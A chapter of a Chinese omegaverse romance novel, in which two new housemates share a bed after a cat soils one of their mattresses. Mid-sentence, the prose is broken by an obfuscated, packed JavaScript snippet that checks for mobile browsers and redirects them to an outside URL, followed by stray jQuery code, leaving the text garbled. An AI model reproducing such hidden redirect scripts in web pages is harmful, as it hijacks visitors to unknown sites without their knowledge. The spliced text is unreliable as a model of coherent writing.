周宜仙的手指举着一块软乎乎的披萨,上面的洋葱芝士冒着诱人香气,她咬了满口,稍微有点拉丝,用牙齿叼着扯断。
“嗯,我吃饭吃得香。”
话刚说完,她看到了对面的人,担心自己的形象有点儿不雅,连忙抽出纸巾擦了擦嘴。
嵇雪喝了点水,她垂眸看着玻璃杯子,晃着光,杯底的沾着的一根猫毛清晰可见。
抽纸擦掉后,她问:“吃饭也会有那么大的满足感么?”
周宜仙嘴里嚼着东西,有些烫,她小声说:“当然会有。”
“你没有么?”
嵇雪摇了摇头:“没有。”
“那还真是可惜,你已经错过了世界上的快乐源泉之一。”周宜仙把还没拆封的糖水推倒她面前,问:“要不要尝试一下?”
嵇雪想也不想地回绝:“不要,晚上吃太多会难消化,影响我按时睡觉。”
真是个刻板无趣的规律机器人。
“好吧。”
周宜仙把糖水又收了回来,她只好勉为其难的自己全吃下去,一个人享受双倍快乐。
晚餐过后,时间还算早,屋子里还堆着很多箱子。周宜仙继续收拾自己的东西。
初秋室内的气温不低,没一会儿她背后已经隐隐有细汗。
走廊有很轻的脚步声。
她转过身,看到嵇雪正倚在门框边,对方黑色长发的末尾还隐隐挂着潮湿,身上穿着件纯白色浴袍,像是某种无菌服。看起来是刚洗完澡。
“还没收拾完?”
周宜仙点点头。“还没呢。”
嵇雪抬起胳膊,垂眸看了自己的腕表。“已经接近十点钟了,剩下的明天再收拾吧,先去洗澡。”
“已经十点了?”
周宜仙没注意到时间走得这么快。她一直都是野蛮生长,很少有人管教过问她具体的细致的生活。
在今天搬进来之前,她从未接触过像嵇雪这种人,到了某个时间点就直接切断的规律作息。
考虑到这些东西没办法在短短几小时之内全整理好,周宜仙也不愿意打扰别人睡觉,直接妥协了。
“好,我去洗澡。”
进去浴室之后,她才发现自己没拿沐浴露。浴室的瓷白边柜上摆着现成的,救急用了一下,挤出来打出泡沫,就闻到了一股很淡的清泉气味,也许是因为有薄荷在里面。
她清嗅了下,很像是上次闻到嵇雪皮肤上的气味,有点凉凉的感觉。
浴室的门口还摆着一双崭新的拖鞋,是很浅的皮粉色,款式很普通,没有一点儿花哨的装饰。
像极了检察官小姐的审美选择。
这是,给她准备的?
周宜仙穿上却发现意外地舒适。脚上踩着的那个瞬间,周宜仙突然有种说不上来的细微感觉,好像这样的生活也还不错?
她走回卧室,想着明天再跟嵇雪说声谢谢,但却意外地发现对方居然还没有睡觉。
走廊对面的卧室还亮着灯,门没关。
对方正背对着她,半蹲着,雪白的浴袍勾勒出纤细的腰身。只见她一把扯开了白色的床单,随意扔在地上。
动作很快,干净利落。
周宜仙走过去问:“怎么了?”
嵇雪转身看了她一眼,手上的动作却还没有停下。将床垫也掀了起来,像是要拆家一样。
做完这些之后,她把手指放在鼻尖上轻轻嗅了嗅,像是被什么气味干扰到。
好奇怪。
周宜仙又忍不住问:“你在干嘛?”
“你的猫。”
嵇雪停顿了一下,说:“在我床上尿尿了。”
“啊它尿了?不会吧。”
周宜仙没想到元宝第一天搬进来就惹祸,但是那堆床单上明显的一团潮湿就是铁证。
她挠了挠头,纳闷说:“元宝一直都挺听话的,是个文明有礼貌的好猫,而且它是母猫不会乱尿的,它以前从来都不会这样。”
正愁着找不到罪魁祸首呢,元宝自己就出现了。
周宜仙一扭头就看到它躲在对面的屋子里,悄悄地探出毛绒绒的小脑袋,往这边看,却不敢上前。
显然也很心虚,知道自己做错事了。
周宜仙跟人道歉:“不好意思,可能是她第一天到新家,对新环境有点应激了。其实我之前也带着它搬过不少次家,但是它没有这样过。”
嵇雪突然说。“可能是我信息素的问题。”
“你的信息素?”
“嗯。”
嵇雪很容易就找到了原因,她拆床的时候发现,被小猫尿的地方是枕头,还有她平时躺下来会靠近腺体的地方。
“前阵子我在发热期,枕头和床单上可能都有残留信息素的气味,还没来得及清洗掉。对嗅觉灵敏的小动物来说,可能很容易被刺激到。”
周宜仙没想到信息素还会影响到小猫。她看着眼前的残局,主动问:“那今天晚上怎么办,要不然你到我那边睡,先凑合一晚?”
“明天我再去给你买个新床垫赔罪。”
嵇雪抬眸,看了她一眼,眼神带着些许晦暗不明。沉默片刻,似乎也在思考对策,最后她还是答应了下来。
“嗯。”
周宜仙有点内疚,抓住正准备潜逃的元宝,拍了拍它的小脑袋瓜子,怎么第一天就惹事添乱。
她握着那两只毛绒绒的小爪子,“快道歉说对不起。”
元宝配合地叫了一声。
“喵呜~~”
嵇雪没理会她们。
她脸上没有表情显得有些淡漠,伸出细长的手指,撕掉脖子后面粘着的抑制贴,迈步走到柜子前,从盒子里拿了一个全新的重新贴上。然后径直往周宜仙的卧室去。
“晚上不要再让它上床了。”
周宜仙本就担心惹人生气,连忙答应下来。
“好的好的,今天晚上我把它关在外面。不让它进来,你放心吧。”
这边卧室要大一些,正中央的位置摆放的床是1.2米的单人宽幅,一个人是足够的,但是两个人一起睡,可能就会有些拥挤。
更何况周宜仙本身就个高肉乎乎的,她担心自己跟嵇雪在一起睡觉,会把人挤到。更何况还这么乱,她连忙把床上原先扔着的衣服之类的都收拾下去,把自己的被褥给抱起来,腾出一些空间。
主动谦让问:“你要睡哪边?”
嵇雪随意说:“都行。”
她转身回到隔壁的卧室,把唯一还算干净的空调薄被抱了过来。
这让周宜仙松了口气,两个被子。她们不用睡在一个被筒里,还算是合理的距离。
以前她在外面打工的时候,其实经常睡那种几十个人的大通铺,最长住过近半年,跟几个相熟的小姐妹挤在一个床上睡,也不是没有过。
其实周宜仙也没那么讲究,她不抗拒跟人有什么肢体接触。本身就是Alpha,身强体壮,她很容易会影响到别人,但是别人很难影响到她。
但是嵇雪这种矜贵的人,显然是不一样的。
她也说不上来是哪里不一样。
只顾着将元宝驱逐出境,赶到了客厅给它塞进猫窝里,哄着说明天再回来一起睡。
周宜仙回到卧室的时候,嵇雪正在弯着腰铺床。她身上那件雪白的睡袍很单薄,材质很好,像是泛着雪光一样丝滑。勾勒出很窄的腰部。
领口微微露出一截奶白色的锁骨。
很精致显贵的一个人,像是色泽通透的釉质花瓶。
手指捋过边角,她垂眸很认真地把被子给铺好了,而且效果很规整,像是接受过什么特殊训练一样。
头也不回地问:“猫弄好了?”
周宜仙一怔,随即“嗯”一声。
“那就过来睡觉吧,明天还要工作。”
“好的,那我上床关灯了。”
周宜仙顾不上再想别的乱七八糟,她自己的生意时间很灵活,想几点去都行。但是人在检察院上班显然不是这样。
她脱下鞋子,掀开自己的被子躺进去。熄灭灯光。
果然是床小了。
隔着被子还是能感觉到对方的存在,她连个翻身的空间几乎都没了。躺下之后脑袋被枕头托着,鼻尖隐隐传来身侧的人身上的淡香气,是沐浴露的那股清凉的薄荷味。
一个人生活久了,身上的一寸头发皮肤,也是会独特的味道和气质。
身侧的嵇雪突然翻了个身,发出被子摩擦的轻微响动。
周宜仙扭头看过去,她发现嵇雪脖子上那块全新的抑制贴,好
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15871510|176229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
像是是奶黄色的。
即便是黑暗中,她的皮肤还是白得亮眼,贴上一块奶黄。
意外地软萌。
对方突然说:“你是不是用了我的沐浴露?”
“啊?是的。”周宜仙没想到她这么敏锐,解释道:“我进去之后才发现自己忘带了,就用了一下,不好意思。”
嵇雪突然转过身,隔着一片空荡荡的黑暗,两个人躺在一起,无声地对视。
“没什么,就是突然闻到你是身上有我的味道。所以确定一下。”
“这样啊。”
周宜仙完全看不到对方的表情,但视觉被屏蔽后,其他感官就变得异常灵敏,她能感受到对方的体温,呼吸,还有淡淡的冷香。犹豫着问:“你明天几点上班?”
“八点。”
“每天上班都是八点么?”
“嗯,工作日都是。偶尔有突发情况可能会提前。”嵇雪似乎不打算再继续闲聊,因为这样只会越来越收不住,影响第二天的精力。
她很直接地结束了对话。
“不早了,睡吧。”
周宜仙也只好闭上了嘴巴。身侧的人已经宣布要休息了,她也想跟着一起睡,正好改改熬夜的老毛病。
但是显然这是痴心妄想。
憋了一会儿,她倒是越来越精神了,这完全不是她睡觉的时间,周宜仙只觉得被窝里越来越热,她体胖,最受不了这个,闷一会就背上就有细汗。
被燥得莫名睡不着。
她慢吞吞地去摸空调的遥控器,借着手机微弱的屏幕光,在旁边的床头柜抽屉里找到了。
动作很轻地打开。
感受空调吹出丝丝冷风,周宜仙才终于感觉好受些,胳膊上粘热的感觉才渐渐消散。
也许是因为白天太累,她今天入睡格外顺利。
随着夜深了,室内的气温渐渐降低。
嵇雪其实并没有完全睡着,因为所谓的稀缺性性别,SSS级Omega,她从小就享受到了‘特殊待遇’,做过很多身体检查,很清楚自己有些植物神经紊乱的症状。
她很容易被吵醒,即便是一丁点儿动静,窗外的清脆鸟叫,半夜路过的车轮声,完全随机的概率。偶然被什么东西吵醒,她习惯了之后就会无奈,只能睁着眼,等着下一次困意来袭。
即便只是几个分贝的动静。
更何况,现在身边还躺着一个活人。
即便是周宜仙把动作有意识地放轻了,她还是能受到对方的干扰,注意力完全不受控制,很容易被别的东西抓住,像是没有边界一样散开,很耗神。
以往这种时候,她都会选择看书来打发时间,转移注意力。
但是今天她完全不想动。
直到对方睡着了,听着耳畔均匀的呼吸声。她隔着一片黑暗,凝视着身侧熟睡的人。
每次失眠的时候,嵇雪都不免有种溺水的无力感。周围的黑暗笼罩在她的头顶,孤身一人站在无边无际的海水里,无从着力,只能一次又一次被淹没。
她时常感觉自己是单薄的,会越来越空虚。
而周宜仙这种人却是坚固浑厚的,她散发出健康的气息,香甜沉迷的睡意。
身边还有一个活人的感觉非常奇妙。
嵇雪盯着她看了很久,最后也像是被感染了睡意一样,沉沉睡去。
思考果然是毫无意义的,她最后这样想着。
室内丝丝的冷意来袭。睡着之后,人的代谢会降低,体温也会跟着降低,很容易受凉。嵇雪这种敏感体质很受影响,她发自本能地开始蜷缩身体,把手脚都放进被子里面。
最初两个人还是各睡各的被筒。
可薄薄的一层抵抗不住冷气的侵袭,她感觉越来越冷,手脚都开始渐渐失温。相隔几寸的另一个被筒里传来温热的触感,她不自觉地朝着热源的方向靠拢,单薄的身体依偎进去。
很柔软。
可触碰到的真实的存在,而不是某种思维,虚无缥缈的不可触摸的东西,像是永远都擦不去的潮湿阴霾。
嵇雪钻进了另一个被筒里,感受到了切实的温暖和令人安心的气息。她像是终于找到了舒心的睡觉方式。枕着对方细嫩肉实的胳膊,像是找到了安全栖息地的洞口一样,把脑袋埋了进去。